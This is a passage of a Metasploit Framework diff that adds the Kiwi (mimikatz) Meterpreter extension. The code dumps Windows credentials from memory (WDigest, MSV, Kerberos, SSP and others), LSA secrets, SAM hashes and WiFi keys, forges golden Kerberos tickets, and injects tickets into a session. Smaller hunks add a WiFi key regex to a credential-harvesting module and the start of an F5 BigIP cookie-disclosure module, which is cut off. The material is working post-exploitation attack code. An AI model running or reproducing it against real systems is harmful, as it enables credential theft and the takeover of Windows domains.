request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
|
||||
response = client.send_request(request)
|
||||
|
||||
results = []
|
||||
response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r|
|
||||
results << {
|
||||
:username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
|
||||
:domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
|
||||
:password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
|
||||
:auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
|
||||
:auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
|
||||
:lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
|
||||
:ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
|
||||
}
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape all passwords from the target machine.
|
||||
#
|
||||
# @return (see #scrape_passwords)
|
||||
def all_pass
|
||||
scrape_passwords(PWD_ID_SEK_ALLPASS)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape wdigest credentials from the target machine.
|
||||
#
|
||||
# @return (see #scrape_passwords)
|
||||
def wdigest
|
||||
scrape_passwords(PWD_ID_SEK_WDIGEST)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape msv credentials from the target machine.
|
||||
#
|
||||
# @return (see #scrape_passwords)
|
||||
def msv
|
||||
scrape_passwords(PWD_ID_SEK_MSV)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape LiveSSP credentials from the target machine.
|
||||
#
|
||||
# @return (see #scrape_passwords)
|
||||
def livessp
|
||||
scrape_passwords(PWD_ID_SEK_LIVESSP)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape SSP credentials from the target machine.
|
||||
#
|
||||
# @return (see #scrape_passwords)
|
||||
def ssp
|
||||
scrape_passwords(PWD_ID_SEK_SSP)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape TSPKG credentials from the target machine.
|
||||
#
|
||||
# @return (see #scrape_passwords)
|
||||
def tspkg
|
||||
scrape_passwords(PWD_ID_SEK_TSPKG)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape Kerberos credentials from the target machine.
|
||||
#
|
||||
# @return (see #scrape_passwords)
|
||||
def kerberos
|
||||
scrape_passwords(PWD_ID_SEK_KERBEROS)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Kiwi
|
||||
|
||||
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
|
||||
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
|
||||
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 6)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 7)
|
||||
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
|
||||
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
|
||||
|
||||
TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
|
||||
TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
|
||||
TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
|
||||
TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
|
||||
TLV_TYPE_KIWI_GOLD_USERID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 14)
|
||||
TLV_TYPE_KIWI_GOLD_GROUPID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 15)
|
||||
|
||||
TLV_TYPE_KIWI_LSA_VER_MAJ = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 20)
|
||||
TLV_TYPE_KIWI_LSA_VER_MIN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 21)
|
||||
TLV_TYPE_KIWI_LSA_COMPNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 22)
|
||||
TLV_TYPE_KIWI_LSA_SYSKEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 23)
|
||||
TLV_TYPE_KIWI_LSA_KEYCOUNT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 24)
|
||||
TLV_TYPE_KIWI_LSA_KEYID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 25)
|
||||
TLV_TYPE_KIWI_LSA_KEYIDX = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 26)
|
||||
TLV_TYPE_KIWI_LSA_KEYVALUE = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 27)
|
||||
TLV_TYPE_KIWI_LSA_NT6KEY = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 28)
|
||||
TLV_TYPE_KIWI_LSA_NT5KEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 29)
|
||||
|
||||
TLV_TYPE_KIWI_LSA_SECRET = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 35)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 36)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_SERV = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 37)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_NTLM = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 38)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_CURR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 39)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 40)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_OLD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 41)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 42)
|
||||
|
||||
TLV_TYPE_KIWI_LSA_SAM = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 50)
|
||||
TLV_TYPE_KIWI_LSA_SAM_RID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 51)
|
||||
TLV_TYPE_KIWI_LSA_SAM_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 52)
|
||||
TLV_TYPE_KIWI_LSA_SAM_LMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 53)
|
||||
TLV_TYPE_KIWI_LSA_SAM_NTLMHASH = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 54)
|
||||
|
||||
TLV_TYPE_KIWI_KERB_EXPORT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 60)
|
||||
TLV_TYPE_KIWI_KERB_TKT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 61)
|
||||
TLV_TYPE_KIWI_KERB_TKT_ENCTYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 62)
|
||||
TLV_TYPE_KIWI_KERB_TKT_START = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 63)
|
||||
TLV_TYPE_KIWI_KERB_TKT_END = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 64)
|
||||
TLV_TYPE_KIWI_KERB_TKT_MAXRENEW = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 65)
|
||||
TLV_TYPE_KIWI_KERB_TKT_SERVERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 66)
|
||||
TLV_TYPE_KIWI_KERB_TKT_SERVERREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 67)
|
||||
TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 68)
|
||||
TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 69)
|
||||
TLV_TYPE_KIWI_KERB_TKT_FLAGS = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 70)
|
||||
TLV_TYPE_KIWI_KERB_TKT_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 71)
|
||||
|
||||
TLV_TYPE_KIWI_WIFI_INT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 75)
|
||||
TLV_TYPE_KIWI_WIFI_INT_GUID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 76)
|
||||
TLV_TYPE_KIWI_WIFI_INT_STATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 77)
|
||||
TLV_TYPE_KIWI_WIFI_INT_DESC = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 78)
|
||||
TLV_TYPE_KIWI_WIFI_PROFILE = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 79)
|
||||
TLV_TYPE_KIWI_WIFI_PROFILE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 80)
|
||||
TLV_TYPE_KIWI_WIFI_PROFILE_XML = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 81)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,509 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
###
|
||||
#
|
||||
# Kiwi extension - grabs credentials from windows memory.
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by OJ Reeves (TheColonial)
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Kiwi
|
||||
|
||||
Klass = Console::CommandDispatcher::Kiwi
|
||||
|
||||
include Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
"Kiwi"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes an instance of the priv command interaction. This function
|
||||
# also outputs a banner which gives proper acknowledgement to the original
|
||||
# author of the Mimikatz 2.0 software.
|
||||
#
|
||||
def initialize(shell)
|
||||
super
|
||||
print_line
|
||||
print_line
|
||||
print_line(" .#####. mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
|
||||
print_line(" .## ^ ##.")
|
||||
print_line(" ## / \\ ## /* * *")
|
||||
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
|
||||
print_line(" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)")
|
||||
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
|
||||
print_line
|
||||
|
||||
if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
|
||||
|
||||
print_line
|
||||
print_warning "Loaded x86 Kiwi on an x64 architecture."
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
"creds_wdigest" => "Retrieve WDigest creds",
|
||||
"creds_msv" => "Retrieve LM/NTLM creds (hashes)",
|
||||
"creds_livessp" => "Retrieve LiveSSP creds",
|
||||
"creds_ssp" => "Retrieve SSP creds",
|
||||
"creds_tspkg" => "Retrieve TsPkg creds",
|
||||
"creds_kerberos" => "Retrieve Kerberos creds",
|
||||
"creds_all" => "Retrieve all credentials",
|
||||
"golden_ticket_create" => "Create a golden kerberos ticket",
|
||||
"kerberos_ticket_use" => "Use a kerberos ticket",
|
||||
"kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
|
||||
"kerberos_ticket_list" => "List all kerberos tickets",
|
||||
"lsa_dump" => "Dump LSA secrets",
|
||||
"wifi_list" => "List wifi profiles/creds"
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the LSA secret dump on thet target.
|
||||
#
|
||||
def cmd_lsa_dump(*args)
|
||||
check_privs
|
||||
|
||||
print_status("Dumping LSA secrets")
|
||||
lsa = client.kiwi.lsa_dump
|
||||
|
||||
# the format of this data doesn't really lend itself nicely to
|
||||
# use within a table so instead we'll dump in a linear fashion
|
||||
|
||||
print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
|
||||
print_line("Domain/Computer : #{lsa[:compname]}") if lsa[:compname]
|
||||
print_line("System Key : #{to_hex(lsa[:syskey])}")
|
||||
print_line("NT5 Key : #{to_hex(lsa[:nt5key])}")
|
||||
print_line
|
||||
print_line("NT6 Key Count : #{lsa[:nt6keys].length}")
|
||||
|
||||
if lsa[:nt6keys].length > 0
|
||||
lsa[:nt6keys].to_enum.with_index(1) do |k, i|
|
||||
print_line
|
||||
index = i.to_s.rjust(2, ' ')
|
||||
print_line("#{index}. ID : #{Rex::Text::to_guid(k[:id])}")
|
||||
print_line("#{index}. Value : #{to_hex(k[:value])}")
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line("Secret Count : #{lsa[:secrets].length}")
|
||||
if lsa[:secrets].length > 0
|
||||
lsa[:secrets].to_enum.with_index(1) do |s, i|
|
||||
print_line
|
||||
index = i.to_s.rjust(2, ' ')
|
||||
print_line("#{index}. Name : #{s[:name]}")
|
||||
print_line("#{index}. Service : #{s[:service]}") if s[:service]
|
||||
print_line("#{index}. NTLM : #{to_hex(s[:ntlm])}") if s[:ntlm]
|
||||
if s[:current] || s[:current_raw]
|
||||
current = s[:current] || to_hex(s[:current_raw], ' ')
|
||||
print_line("#{index}. Current : #{current}")
|
||||
end
|
||||
if s[:old] || s[:old_raw]
|
||||
old = s[:old] || to_hex(s[:old_raw], ' ')
|
||||
print_line("#{index}. Old : #{old}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line("SAM Key Count : #{lsa[:samkeys].length}")
|
||||
if lsa[:samkeys].length > 0
|
||||
lsa[:samkeys].to_enum.with_index(1) do |s, i|
|
||||
print_line
|
||||
index = i.to_s.rjust(2, ' ')
|
||||
print_line("#{index}. RID : #{s[:rid]}")
|
||||
print_line("#{index}. User : #{s[:user]}")
|
||||
print_line("#{index}. LM Hash : #{to_hex(s[:lm_hash])}")
|
||||
print_line("#{index}. NTLM Hash : #{to_hex(s[:ntlm_hash])}")
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Valid options for the golden ticket creation functionality.
|
||||
#
|
||||
@@golden_ticket_create_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-u" => [ true, "Name of the user to create the ticket for" ],
|
||||
"-i" => [ true, "ID of the user to associate the ticket with" ],
|
||||
"-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ],
|
||||
"-d" => [ true, "Name of the target domain (FQDN)" ],
|
||||
"-k" => [ true, "krbtgt domain user NTLM hash" ],
|
||||
"-t" => [ true, "Local path of the file to store the ticket in" ],
|
||||
"-s" => [ true, "SID of the domain" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Output the usage for the ticket listing functionality.
|
||||
#
|
||||
def golden_ticket_create_usage
|
||||
print(
|
||||
"\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
|
||||
"Create a golden kerberos ticket that expires in 10 years time.\n\n" +
|
||||
@@golden_ticket_create_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the golden kerberos ticket creation functionality on the target.
|
||||
#
|
||||
def cmd_golden_ticket_create(*args)
|
||||
if args.include?("-h")
|
||||
golden_ticket_create_usage
|
||||
return
|
||||
end
|
||||
|
||||
user = nil
|
||||
domain = nil
|
||||
sid = nil
|
||||
tgt = nil
|
||||
target = nil
|
||||
id = 0
|
||||
group_ids = []
|
||||
|
||||
@@golden_ticket_create_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-u"
|
||||
user = val
|
||||
when "-d"
|
||||
domain = val
|
||||
when "-k"
|
||||
tgt = val
|
||||
when "-t"
|
||||
target = val
|
||||
when "-i"
|
||||
id = val.to_i
|
||||
when "-g"
|
||||
group_ids = val.split(',').map { |g| g.to_i }.to_a
|
||||
when "-s"
|
||||
sid = val
|
||||
end
|
||||
}
|
||||
|
||||
# all parameters are required
|
||||
unless user && domain && sid && tgt && target
|
||||
golden_ticket_create_usage
|
||||
return
|
||||
end
|
||||
|
||||
ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
|
||||
|
||||
::File.open( target, 'wb' ) do |f|
|
||||
f.write ticket
|
||||
end
|
||||
|
||||
print_good("Golden Kerberos ticket written to #{target}")
|
||||
end
|
||||
|
||||
#
|
||||
# Valid options for the ticket listing functionality.
|
||||
#
|
||||
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-e" => [ false, "Export Kerberos tickets to disk" ],
|
||||
"-p" => [ true, "Path to export Kerberos tickets to" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Output the usage for the ticket listing functionality.
|
||||
#
|
||||
def kerberos_ticket_list_usage
|
||||
print(
|
||||
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
|
||||
"List all the available Kerberos tickets.\n\n" +
|
||||
@@kerberos_ticket_list_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the kerberos ticket listing functionality on the target machine.
|
||||
#
|
||||
def cmd_kerberos_ticket_list(*args)
|
||||
if args.include?("-h")
|
||||
kerberos_ticket_list_usage
|
||||
return
|
||||
end
|
||||
|
||||
# default to not exporting
|
||||
export = false
|
||||
# default to the current folder for dumping tickets
|
||||
export_path = "."
|
||||
|
||||
@@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-e"
|
||||
export = true
|
||||
when "-p"
|
||||
export_path = val
|
||||
end
|
||||
}
|
||||
|
||||
tickets = client.kiwi.kerberos_ticket_list(export)
|
||||
|
||||
fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
|
||||
fields << 'Export Path' if export
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Kerberos Tickets",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => fields
|
||||
)
|
||||
|
||||
tickets.each do |t|
|
||||
flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
|
||||
values = [
|
||||
"#{t[:server]} @ #{t[:server_realm]}",
|
||||
"#{t[:client]} @ #{t[:client_realm]}",
|
||||
t[:start],
|
||||
t[:end],
|
||||
t[:max_renew],
|
||||
"#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
|
||||
]
|
||||
|
||||
# write out each ticket to disk if export is enabled.
|
||||
if export
|
||||
path = "<no data retrieved>"
|
||||
if t[:raw]
|
||||
id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
|
||||
file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
|
||||
path = ::File.expand_path(File.join(export_path, file))
|
||||
::File.open(path, 'wb') do |x|
|
||||
x.write t[:raw]
|
||||
end
|
||||
end
|
||||
values << path
|
||||
end
|
||||
|
||||
table << values
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
print_line("Total Tickets : #{tickets.length}")
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the kerberos ticket purging functionality on the target machine.
|
||||
#
|
||||
def cmd_kerberos_ticket_purge(*args)
|
||||
client.kiwi.kerberos_ticket_purge
|
||||
print_good("Kerberos tickets purged")
|
||||
end
|
||||
|
||||
#
|
||||
# Use a locally stored Kerberos ticket in the current session.
|
||||
#
|
||||
def cmd_kerberos_ticket_use(*args)
|
||||
if args.length != 1
|
||||
print_line("Usage: kerberos_ticket_use ticketpath")
|
||||
return
|
||||
end
|
||||
|
||||
target = args[0]
|
||||
ticket = ''
|
||||
::File.open(target, 'rb') do |f|
|
||||
ticket += f.read(f.stat.size)
|
||||
end
|
||||
|
||||
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
|
||||
client.kiwi.kerberos_ticket_use(ticket)
|
||||
print_good("Kerberos ticket applied successfully")
|
||||
end
|
||||
|
||||
def wifi_list_usage
|
||||
print(
|
||||
"\nUsage: wifi_list\n\n" +
|
||||
"List WiFi interfaces, profiles and passwords.\n\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all the wifi profiles/credentials
|
||||
#
|
||||
def cmd_wifi_list(*args)
|
||||
# if any arguments are specified, then fire up a usage message
|
||||
if args.length > 0
|
||||
wifi_list_usage
|
||||
return
|
||||
end
|
||||
|
||||
results = client.kiwi.wifi_list
|
||||
|
||||
if results.length > 0
|
||||
results.each do |r|
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "#{r[:desc]} - #{r[:guid]}",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => [
|
||||
'Name', 'Auth', 'Type', 'Shared Key'
|
||||
]
|
||||
)
|
||||
|
||||
print_line
|
||||
r[:profiles].each do |p|
|
||||
table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
|
||||
end
|
||||
|
||||
print_line table.to_s
|
||||
print_line "State: #{r[:state]}"
|
||||
end
|
||||
else
|
||||
print_line
|
||||
print_error("No wireless profiles found on the target.")
|
||||
end
|
||||
|
||||
print_line
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all the possible credentials to screen.
|
||||
#
|
||||
def cmd_creds_all(*args)
|
||||
method = Proc.new { client.kiwi.all_pass }
|
||||
scrape_passwords("all", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all wdigest credentials to screen.
|
||||
#
|
||||
def cmd_creds_wdigest(*args)
|
||||
method = Proc.new { client.kiwi.wdigest }
|
||||
scrape_passwords("wdigest", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all msv credentials to screen.
|
||||
#
|
||||
def cmd_creds_msv(*args)
|
||||
method = Proc.new { client.kiwi.msv }
|
||||
scrape_passwords("msv", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all LiveSSP credentials to screen.
|
||||
#
|
||||
def cmd_creds_livessp(*args)
|
||||
method = Proc.new { client.kiwi.livessp }
|
||||
scrape_passwords("livessp", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all SSP credentials to screen.
|
||||
#
|
||||
def cmd_creds_ssp(*args)
|
||||
method = Proc.new { client.kiwi.ssp }
|
||||
scrape_passwords("ssp", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all TSPKG credentials to screen.
|
||||
#
|
||||
def cmd_creds_tspkg(*args)
|
||||
method = Proc.new { client.kiwi.tspkg }
|
||||
scrape_passwords("tspkg", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all Kerberos credentials to screen.
|
||||
#
|
||||
def cmd_creds_kerberos(*args)
|
||||
method = Proc.new { client.kiwi.kerberos }
|
||||
scrape_passwords("kerberos", method)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def check_privs
|
||||
if system_check
|
||||
print_good("Running as SYSTEM")
|
||||
else
|
||||
print_warning("Not running as SYSTEM, execution may fail")
|
||||
end
|
||||
end
|
||||
|
||||
def system_check
|
||||
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
|
||||
print_warning("Not currently running as SYSTEM")
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the password scraping routine on the target.
|
||||
#
|
||||
# @param provider [String] The name of the type of credentials to dump
|
||||
# (used for display purposes only).
|
||||
# @param method [Proc] Block that calls the method that invokes the
|
||||
# appropriate function on the client that returns the results from
|
||||
# Meterpreter that lay in the house that Jack built.
|
||||
#
|
||||
# @return [void]
|
||||
def scrape_passwords(provider, method)
|
||||
check_privs
|
||||
print_status("Retrieving #{provider} credentials")
|
||||
accounts = method.call
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' =>
|
||||
[
|
||||
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
||||
]
|
||||
)
|
||||
|
||||
accounts.each do |acc|
|
||||
table << [
|
||||
acc[:domain] || "",
|
||||
acc[:username] || "",
|
||||
acc[:password] || "",
|
||||
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
|
||||
to_hex(acc[:lm] || ""),
|
||||
to_hex(acc[:ntlm] || "")
|
||||
]
|
||||
end
|
||||
|
||||
print_line table.to_s
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Helper function to convert a potentially blank value to hex and have
|
||||
# the outer spaces stripped
|
||||
#
|
||||
# @param (see Rex::Text.to_hex)
|
||||
# @return [String] The result of {Rex::Text.to_hex}, strip'd
|
||||
def to_hex(value, sep = '')
|
||||
value ||= ""
|
||||
Rex::Text.to_hex(value, sep).strip
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1290,6 +1290,30 @@ module Text
|
|||
"{#{[8,4,4,4,12].map {|a| rand_text_hex(a) }.join("-")}}"
|
||||
end
|
||||
|
||||
#
|
||||
# Convert 16-byte string to a GUID string
|
||||
#
|
||||
# @example
|
||||
# str = "ABCDEFGHIJKLMNOP"
|
||||
# Rex::Text.to_guid(str) #=> "{44434241-4645-4847-494a-4b4c4d4e4f50}"
|
||||
#
|
||||
# @param bytes [String] 16 bytes which represent a GUID in the proper
|
||||
# order.
|
||||
#
|
||||
# @return [String]
|
||||
def self.to_guid(bytes)
|
||||
return nil unless bytes
|
||||
s = bytes.unpack('H*')[0]
|
||||
parts = [
|
||||
s[6, 2] + s[4, 2] + s[2, 2] + s[0, 2],
|
||||
s[10, 2] + s[8, 2],
|
||||
s[14, 2] + s[12, 2],
|
||||
s[16, 4],
|
||||
s[20, 12]
|
||||
]
|
||||
"{#{parts.join('-')}}"
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a pattern that can be used for offset calculation purposes. This
|
||||
# routine is capable of generating patterns using a supplied set and a
|
||||
|
|
|
@ -28,7 +28,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
['Wifi Key 1', /wifi_key1=(\S+)/i],
|
||||
['Wifi Key 2', /wifi_key2=(\S+)/i],
|
||||
['Wifi Key 3', /wifi_key3=(\S+)/i],
|
||||
['Wifi Key 4', /wifi_key4=(\S+)/i]
|
||||
['Wifi Key 4', /wifi_key4=(\S+)/i],
|
||||
['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i]
|
||||
]
|
||||
}
|
||||
|
||||
|
|
|
@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
|
||||
[ 'CVE', '2014-0781']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2014',
|
||||
))
|
||||
|
|
|
@ -0,0 +1,125 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP Backend Cookie Disclosure',
|
||||
'Description' => %q{
|
||||
This module identifies F5 BigIP load balancers and leaks backend
|
||||
information through cookies inserted by the BigIP devices.
|
||||
},
|
||||
'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
|
||||
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def change_endianness(value, size=4)
|
